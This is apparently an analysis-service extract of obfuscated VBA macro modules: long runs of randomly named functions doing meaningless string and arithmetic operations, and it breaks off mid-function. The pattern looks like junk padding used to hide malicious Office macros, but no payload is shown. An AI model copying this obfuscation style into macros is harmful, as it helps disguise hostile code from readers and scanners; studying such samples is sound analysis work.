    wnahRuxNgBPS = RTrim(" b^c  ] T  ?XKe") + StrReverse("w!Bc_?w-Fw")
    fqXDJn = RTrim(" Hoiq dtgG w mi") + UCase("%DO  whzX ")
    

    fLqiolHNXLop = Space(12) + Left("% &nqlc)_ X r !", 5)
    yVsytfSGAItW = 51 - 8 - 76 - 11 - 62
    jzqjH = RTrim("f J    QaZ& dDU-%t@") + UCase("b A% Oi(   KbcCB h ")
    FzOKGF = "AihhlnGQYpdkXkMaA"
End Function



Function ZyipRI(dFAjas As Boolean) As String
    srWnjwJldxun = 14 - 63 - 44 - 81 - 90
    For QUjmMw = 2 To 4
        For trbPDX = 2 To 10
            IUdlkJdRsG = Space(9) + Left(" $fY)   gbDQP ", 5)
            LCQPzoj = 33 - 94 - 62 - 33 - 52 - 26
            IUdlkJdRsG = 96 - 95
        Next trbPDX

        LCQPzoj = Right("AMT#OIgbw", 3)
        iusouxiFFQBn = RTrim(" h@e^bo)mvwWN") + UCase(" &!YN] . VH$j N@ D")
        

    Next QUjmMw

    vQituXopBa = 53 + 100
    wnahRuxNgBPS = 10 - 9 - 53 - 50
    

    wnahRuxNgBPS = RTrim("k l#w ") + StrReverse("tTi z")
    WbvSvsFuVGb = Left("lK  .]  ", 4) + LTrim(" r   QOcHANn e")
    For AskSbE = 2 To 5
        For DyiAOG = 2 To 9
            QXUlQIRy = 9 - 0 - 68 - 33 - 99
            fLqiolHNXLop = RTrim(" zwRLm?J  B @    Os") + StrReverse("s  yj%Uc")
            yVsytfSGAItW = Left("#w ez JA gby[Dm", 5) + LTrim(". A! fLjvc)f KSv y")
            ANOYBeiAU = 67 + 62 + 59 + 89 + 99 + 21
        Next DyiAOG

        vQituXopBa = RTrim(" N $g") + UCase("FVRx(EPj   ")
        ivJqOi = Right("ubI( S. C$r dot", 3)
        ivJqOi = Left("x b-_TxrBFo", 2) + LTrim("WM YZy.$meqt")
        IUdlkJdRsG = Right(" ma@L   M] ? H)%R", 5)
    Next AskSbE

    cfHGAHb = RTrim("P ?@ GD  ") + StrReverse("v)?r ZQ")
    WbvSvsFuVGb = LTrim("  ahX i SdE] u")
    jzqjH = LTrim("l)& _hgPlf& v")
    wnahRuxNgBPS = 73 - 87 - 66 - 68 - 47 - 52
    jzqjH = Left("BI BGbb s", 3) + LTrim("[ Yf&$ ![")
    cfHGAHb = 36 + 46 + 37 + 58 + 26
    IUdlkJdRsG = 15 - 38 - 30 - 39 - 12
    While HsJzAA < 2
        For jDrtVR = 2 To 5
            fqXDJn = Space(6) + Left("T DBrJ (!EDla a", 2)
            

            ivJqOi = 23 + 35 + 36
            fLqiolHNXLop = Left("eox rkUX@zNQ@% QX ", 5) + LTrim(" ] gRK SP")
            fqXDJn = UCase("?w#YO^ epBW[") + RTrim("@cT . I?[ t")
        Next jDrtVR

        srWnjwJldxun = 78 + 31 + 88 + 26 + 98
        IUdlkJdRsG = Left(" t spDUP?tbPK j", 2) + LTrim("kuklRl%L  v#Zn")
        ANOYBeiAU = RTrim("&yeH ") + UCase("VBLi[? PUDPf (Rj $o")
        ANOYBeiAU = 22 - 34 - 71 - 72
        HsJzAA = HsJzAA + 2
    Wend

    uXEZzE = UCase("N?g! ") + RTrim("i(zyQBrw")
    For PJINuM = 2 To 5
        While GKLBET < 2
            DfryiQYWx = Left(" QqpBR@Z(lxAac P", 4) + LTrim(" zhyxaJ& QuOQC $ep$")
            cfHGAHb = Space(2) + Left("N(p Z!L", 3)
            muubfcJyr = 74 + 88 + 34
            aeBxPJOoVl = Left("@R _yeF  vi", 3) + LTrim("XdK.[phY kOvHL Sy.j")
            IUdlkJdRsG = Right("q   IV f R ", 4)
            GKLBET = GKLBET + 1
        Wend

        

        fqXDJn = Left("pj  eM#!j ", 2) + LTrim("v)vZ%p !V O")
        muubfcJyr = 62 + 57 + 92 + 39 + 35 + 29
        WbvSvsFuVGb = Left("r g.  s  @TB ", 5) + LTrim("   a Ply %e")
        IUdlkJdRsG = 40 + 68 + 15 + 47 + 46
    Next PJINuM

    FSPeuNkjl = RTrim("dzyc &") + StrReverse(" [zTyT   o  I %L@ F^")
    While UmZtSF < 2
        vswTldcr = RTrim(" K@X yy_j)Q") + StrReverse(" ^t&%( .JEq O j")
        yVsytfSGAItW = Space(1) + Left("d.  U d  P TfOn", 2)
        cfHGAHb = Right("funx !kV]m", 3)
        WGMrjxMZsd = Left("szK   t c?qXDn Y fL", 4) + LTrim("CP ixZeaGvo    HWC .")
        cfHGAHb = UCase(".lYJYuQMr r O") + RTrim("?U  IN]IR")
        UmZtSF = UmZtSF + 1
    Wend

    ZyipRI = "wHPbdUMjmniufsSzjRVw"
End Function



Function NhZfme(askuLpX As Double, YzTixPv As Integer, gikrgx As Double, TnMDcxh As Integer, GIDeMs As Integer) As String
    wnahRuxNgBPS = 20 + 35 + 52 + 60 + 21 + 26
    IUdlkJdRsG = 44 - 95 - 23 - 82
    jzqjH = Left("  mlSO  k", 3) + LTrim("u&[pG")
    

    For lSOaAV = 2 To 4
        For UUefNx = 2 To 8
            fLqiolHNXLop = Left("iaban U Linc_", 2) + LTrim(")]Dyi pw LP")
            cfHGAHb = 9 + 40 + 62 + 40 + 30
            WbvSvsFuVGb = LTrim(" ^E %]K EVCjZu ) (i")
            rIkazvsnsWmS = 45 - 13
            ANOYBeiAU = 95 - 22 - 90 - 44 - 47 - 11
        Next UUefNx

        FSPeuNkjl = 2 - 86
        

        QXUlQIRy = RTrim("f( b  vs") + UCase("LY  Rg tFe r #^ ")
        cfHGAHb = 37 + 35 + 80 + 47
        LCQPzoj = RTrim("Ql K$  ") + StrReverse(" lByk$_p Q Ag F  rFD")
    Next lSOaAV

    lzAJdu = Right(")^!z s.KH@ia O", 2)
    ivJqOi = Right("]Qifer& HYfOB   ", 2)
    LCQPzoj = RTrim("EUr F _lP)Y h  ") + StrReverse("D ZgC T(q ! sT W!")
    iusouxiFFQBn = LTrim("[r(!k lm@HY)C pB ")
    While pAZtWu < 4
        cfHGAHb = UCase("eva# g VY[") + RTrim(" X _ Ro_ZuECw")
        uUJwF = Left("D Q u-^rl   zaWhb", 2) + LTrim("-U f Hf vWerE J")
        fqXDJn = RTrim("O QS   @t") + StrReverse("c EQK kaMjfI$b")
        pAZtWu = pAZtWu + 3
    Wend

    uUJwF = RTrim(" hV k@y ) ? )zx ns") + StrReverse("i  Kr   &BNf c[k&(")
    yVsytfSGAItW = Space(14) + Left("q&EpyB", 4)
    fqXDJn = UCase(" Fj % Imy B?E YapF? ") + RTrim("T O kM c[#")
    

    srWnjwJldxun = 28 - 5
    ANOYBeiAU = 57 - 55 - 2 - 31
    uXEZzE = LTrim(" u d  ")
    NhZfme = "rveNACQUNwiCbVpwP"
End Function



Attribute VB_Name = "Module5"

Sub HZiFxi(BGKAVUT As Double, bmgOaqZ As Boolean, NYkBpsH As Boolean)
    

    jzqjH = Left("t? FCr", 5) + LTrim("(a q(X N  v  pb]")
    

    For ppRPVc = 2 To 5
        While pjkjhi < 2
            yVsytfSGAItW = RTrim("p  n[R-bS") + UCase("fOCa .T  P")
            srWnjwJldxun = Space(10) + Left("Z[Dz kwWp", 3)
            

            WbvSvsFuVGb = 37 - 58 - 68 - 46
            pjkjhi = pjkjhi + 3
        Wend

        rIkazvsnsWmS = Left("@ lIltq%y  d]p$zmK", 2) + LTrim("b Und^&o#")
        ANOYBeiAU = RTrim("os[ EHs   aohGN J") + UCase("_xq  f jt")
        fLqiolHNXLop = LTrim("!ytk LkX&D? Mkx ]$")
        LCQPzoj = Space(8) + Left("g SMMEfnr _", 4)
        DfryiQYWx = 59 + 49 + 39
    Next ppRPVc

    QXUlQIRy = LTrim("?.f&  c$YbBKH")
    yVsytfSGAItW = RTrim("YJJ.Wg") + StrReverse("ZKI   c MmgIARZjaQ")
    QXUlQIRy = UCase("f(dSw V$pNpwbH[F  JH") + RTrim("]hem Ig  ")
    

    ANOYBeiAU = Right(" N[[ k", 4)
    aeBxPJOoVl = Left("    Xg] MiYD%gF (@C", 3) + LTrim("FQjO$iq  V] J&xSl ")
    uXEZzE = RTrim("rKjKai? (- U") + UCase("sKR&CuJ")
    GnfptZMgVLBD = Right(" T[F s", 5)
    For iQxqxL = 2 To 7
        lzAJdu = 100 + 90 + 52 + 90 + 96 + 42
        lzAJdu = 23 + 63 + 37
        lzAJdu = Right("mZuOA R  le^ w TRnFN", 3)
    Next iQxqxL

    For rbcnXo = 2 To 5
        fLqiolHNXLop = Right(" ycS_TJZ] ?", 4)
        

        

        muubfcJyr = Space(20) + Left("M^ Jo", 2)
        vswTldcr = LTrim("hUvXqd  Z")
    Next rbcnXo

    ANOYBeiAU = RTrim("A!Hj X") + UCase(" [K_k HoEl M &^u")
    DfryiQYWx = RTrim(" F tv$# sr-Yl   Z&Pk") + StrReverse("(U   n&o")
    uUJwF = 76 - 31 - 76 - 11 - 95
    uUJwF = LTrim(".XB iuM Gj")
    uUJwF = 17 + 4 + 39 + 74 + 67 + 73
    While mONsfD < 5
        jzqjH = Space(8) + Left("fbHXWU[ ZQK tgHq", 2)
        rIkazvsnsWmS = 65 + 25
        fqXDJn = Right("- NSd  Bt vgM el", 2)
        uXEZzE = Right(" q   f_^Vy J ", 2)
        mONsfD = mONsfD + 2
    Wend

End Sub



Sub TpHoVr(HLUCKf As Integer)
    IUdlkJdRsG = Left("( ^   J", 3) + LTrim("Uo wBG F")
    uXEZzE = Left(" dL  nb#%T.", 4) + LTrim(" B Vfb %Z")
    uXEZzE = 40 + 81 + 75 + 33
    GnfptZMgVLBD = Space(4) + Left("v( HA%VPhg)&  U #", 2)
    ivJqOi = RTrim("N !sw   N cBd J f rT") + UCase(" q$EN ASB c Rd E")
    fLqiolHNXLop = Space(3) + Left("(gnL   &xQN]PDQYq", 4)
    

    FSPeuNkjl = LTrim(" soS pIU ?Pe ")
    GnfptZMgVLBD = Space(12) + Left("m s( ILGbZ mVbHkiJn", 5)
    jzqjH = 67 - 29 - 12 - 57 - 80
    FUTEeF = 26 + 11 + 12 + 75 + 20
    uXEZzE = 42 + 18 + 49
    uUJwF = Right("a?FKQgJI @j f zRH[G", 4)
    FUTEeF = RTrim("]l$ . g") + UCase(" f. U)X")
    DfryiQYWx = RTrim("_rX v_ ]") + UCase("ItBXT _jz ^W")
    aeBxPJOoVl = Space(12) + Left("QN]gV#e  YsK!PI% hwm", 4)
    IiDVE = RTrim("Zsh!Fh[T-T@  ") + StrReverse("bM _      U  C -@ ")
    FSPeuNkjl = Space(10) + Left("Zp_mn nG.J^q   ", 5)
End Sub



Attribute VB_Name = "Module6"

Function karPTp(uKbiwat As Double, JFyblz As Integer) As String
    For LgYmoc = 2 To 9
        FUTEeF = LTrim(" F    A]$")
        FUTEeF = LTrim("m wt@pQFK k")
        rIkazvsnsWmS = Right("vaq @", 4)
        yVsytfSGAItW = Space(6) + Left("  Z V@[@pa^( (M e  ?", 5)
    Next LgYmoc

    ANOYBeiAU = Space(19) + Left("eWwgN pV] fqX?a$ NRo", 5)
    DfryiQYWx = Left("c Vpi X R[JV #Umdff-", 5) + LTrim("oV   #")
    FUTEeF = RTrim("w nQ^ NISlQQpD") + StrReverse(" H&SnG$")
    FUTEeF = LTrim("chH^hI ")
    rIkazvsnsWmS = RTrim("z k  b r iq)X#o aX") + StrReverse("@mgRJqmPt&kQ  b^ jG ")
    muubfcJyr = Left("f mA_FL(P ", 2) + LTrim("i .$f] DWff EY([ @h")
    srWnjwJldxun = Space(2) + Left("AojV ", 3)
    muubfcJyr = 7 + 71
    While IYmpGY < 4
        yVsytfSGAItW = Left("ovg  Eju(jvf ][", 2) + LTrim("B-  bl^ ")
        iusouxiFFQBn = LTrim("uH %YNgd ")
        vswTldcr = 21 - 0
        vQituXopBa = Space(15) + Left("%V gras U  ", 2)
        fqXDJn = Space(3) + Left("F   .GVY!J(bE%", 2)
        IYmpGY = IYmpGY + 1
    Wend

    iusouxiFFQBn = 84 + 73
    

    muubfcJyr = RTrim(" ^L  od @") + UCase(" f nnGkF")
    GnfptZMgVLBD = RTrim("HjFaJZW ") + UCase("I   ko.[L  S[G%bce")
    iusouxiFFQBn = Space(1) + Left("o%-R- t", 2)
    LCQPzoj = 50 - 19 - 82 - 72 - 95
    

    iusouxiFFQBn = Space(12) + Left("Je yUXGm.sZ_KJ", 5)
    FSPeuNkjl = Space(9) + Left("@   [fqFXGN ]n", 3)
    karPTp = "IearBUzqQoSAOFgTlpF"
End Function



Sub ESqNJF(KMvCth As Integer, OjvLGy As String, CdaHhR As Double)
    IUdlkJdRsG = 85 - 67 - 53 - 19 - 26 - 17
    IiDVE = 81 - 40 - 6 - 82 - 78
    IUdlkJdRsG = 40 + 95 + 89
    

    vswTldcr = LTrim("n  zBsx_] g")
    

    

    fqXDJn = UCase("a]S?Ch BmB ") + RTrim("LXW%QzH   ")
    GnfptZMgVLBD = RTrim("eDL@&pUpH((   fh[") + StrReverse("Fb@eJVXg J-WGB [q")
    FUTEeF = 45 + 47 + 1 + 3 + 90 + 54
    srWnjwJldxun = Space(15) + Left("?IFD  #ps.", 3)
    lzAJdu = Left("DIm  cxUW", 2) + LTrim("UzD%ft # gTV ]")
    WGMrjxMZsd = 11 + 51
    vQituXopBa = 46 + 46 + 91 + 60 + 1 + 32
    For naXJga = 2 To 4
        For pyZoPV = 2 To 8
            IiDVE = UCase("   J  Kz") + RTrim("   & q Z  H")
            vswTldcr = 90 - 77 - 66 - 39 - 79
            

            fqXDJn = Space(5) + Left(".Jtoi&", 3)
        Next pyZoPV

        FSPeuNkjl = RTrim(" p  !hV&") + UCase("_sI-W")
        iusouxiFFQBn = 39 + 95 + 24 + 83 + 17
        LCQPzoj = RTrim(" ? .K^d & ") + StrReverse("S  eV G")
        srWnjwJldxun = RTrim(" bdcS-JVaTPqx q mS m") + UCase("VJjB  Y  &SvB")
        WbvSvsFuVGb = Right("GHn ZD_j%en#iE_", 4)
    Next naXJga

    GnfptZMgVLBD = 100 + 98
    For ozvCta = 2 To 9
        LCQPzoj = RTrim("Qb]rr^j_.Ra ]v") + UCase("%C&P # E wM .IFF%L")
        WbvSvsFuVGb = LTrim(" _ D J")
        IUdlkJdRsG = Left("b.Z Ccr    J", 5) + LTrim("mSr zlVe")
        uXEZzE = LTrim(".#]BAx  )fuD")
        DfryiQYWx = RTrim(" cTwud#") + UCase("DZt __ & NCY Q  ")
    Next ozvCta

    LCQPzoj = RTrim("eNjsNw") + UCase(" J -N fAbja w ?Fo")
    ivJqOi = Space(16) + Left(" dY[nAB%nea    ", 5)
    wnahRuxNgBPS = 64 - 17 - 84 - 93
End Sub



Function RgVPxs(ZaKyrxG As Boolean, JzUPTIr As Integer) As String
    LCQPzoj = Right("a Y  ]&A_Z ", 3)
    FUTEeF = UCase("S@ A fD ") + RTrim("eT  eK hI TG- h$E ")
    jzqjH = Right("GN# X  zO", 5)
    

    IiDVE = RTrim("V [)  VX^!  o#W T!") + UCase(" yb[u  O^pBmdWA[UN ")
    IiDVE = RTrim("o eET!_t o") + StrReverse("_nge H AAid( XZ")
    While xqBHpf < 5
        wnahRuxNgBPS = UCase("H Z @ T#Wn^") + RTrim(" VE eSR)IQ")
        srWnjwJldxun = Left("As  J i   $uh( P^", 3) + LTrim("pr f     _M")
        cfHGAHb = LTrim("kq   @e h Scu")
        xqBHpf = xqBHpf + 1
    Wend

    LCQPzoj = RTrim("#@rv%$phy?X     J") + UCase(" KHea.I")
    

    FUTEeF = RTrim("ui uz ") + StrReverse("TRT f W&djl  .h (zo")
    ivJqOi = 42 - 47 - 0 - 12 - 61 - 27
    

    fqXDJn = LTrim("$qN] OUQ_ r ")
    IiDVE = Right("V Ropw@#w#A  v", 3)
    ANOYBeiAU = UCase("xIDN P zKMR !  h(") + RTrim("u-PDo R ")
    WbvSvsFuVGb = Right("BM  xXka@ nhgLIx)Y", 5)
    wnahRuxNgBPS = Right(" @  ?  f", 5)
    vswTldcr = RTrim("Jo s rHd") + UCase("%&[ NxmQD$g)f")
    IiDVE = Space(1) + Left(" EYbk [ ?", 4)
    lzAJdu = Space(4) + Left("p@g $ (Tc", 5)
    RgVPxs = "ygMwCCiWPlqxNAAKrQrM"
End Function



Attribute VB_Name = "Module7"

Function aPqiek(QBMeCy As String, JodDSXn As Double, lfLjozX As Double, gsxySa As Integer, nCvVMOO As Integer) As String
    cfHGAHb = UCase("&ePGr Dwa c^sHWEAhjQ") + RTrim("Lz$b O]")
    FUTEeF = Space(18) + Left("RMdED  js ", 2)
    ANOYBeiAU = 29 - 0 - 11
    vQituXopBa = Left("-id&&wJ[lf#b ", 4) + LTrim("w VV  L$yfA]Tby")
    WGMrjxMZsd = 18 - 84
    

    

    iusouxiFFQBn = RTrim("^e  GnlHk Ww[wR C") + UCase("Ywr.r_(cj wrayUtsE")
    jzqjH = 90 + 92
    LCQPzoj = 53 + 4 + 90
    

    vQituXopBa = RTrim(" gU( je A") + StrReverse("h ?  h")
    lzAJdu = Right(" qTnn E", 2)
    ivJqOi = Left("TP i ", 5) + LTrim("fjUh[ g")
    ANOYBeiAU = 92 + 16 + 48 + 76 + 52
    cfHGAHb = 67 + 94
    aPqiek = "hRdvVeQjrAVPFqCE"
End Function



Function XRWiQi(SdCKvDk As Double, NBToPIS As Double, zCxIimv As Double, sBVhTT As Boolean, VeOFWj As Double) As String
    QXUlQIRy = Left("nLV mmV Nn! mI %LRJ", 5) + LTrim("a_v _z&r P- g @FBW")
    

    For YqEtlH = 2 To 4
        While CpFIwN < 3
            uUJwF = 67 - 33 - 20 - 86 - 64 - 87
            vQituXopBa = Space(8) + Left(" O.#N", 3)
            cfHGAHb = Right(" wlvd", 3)
…

Open this report in the interactive analyzer, or submit your own file for analysis.